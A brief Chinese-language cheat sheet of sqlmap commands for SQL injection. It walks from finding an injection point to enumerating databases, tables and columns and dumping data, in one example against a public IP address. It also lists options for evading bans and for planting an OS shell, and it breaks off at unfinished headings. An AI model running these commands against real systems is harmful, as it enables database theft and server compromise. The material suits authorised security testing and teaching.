sqlmap(基础指令)

常用指令

-D指定库 -T指定表 -C指定字段

1, -u 指定注入点

python sqlmap.py -u "http://127.0.0.1:8003/?id=1"

2, --dbs 跑库名

python sqlmap.py -u "http://127.0.0.1:8003/?id=1" --dbs

3, --tables 跑表名

python sqlmap.py -u "http://127.0.0.1:8003/?id=1" -D 要查询的库名 --tables

4, --columns 跑字段名

python sqlmap.py -u "http://127.0.0.1/?id=1" -D 库名 -T 表名 --columns

5, --dump 枚举数据

python sqlmap.py -u "http://59.63.200.79:8003/?id=1" -D 库名 -T 表名 -C 字段名 --dump

6

常见指令
--random-agent //选择随机请求头
--delay=1 //每次探测延时1秒（防止访问过快被ban）
--level 1-5 //测试等级
--os-shell  //尝试从网站中放入一个cmdshell

1.通过-l日志文件进行sql注入探测

导出日志文件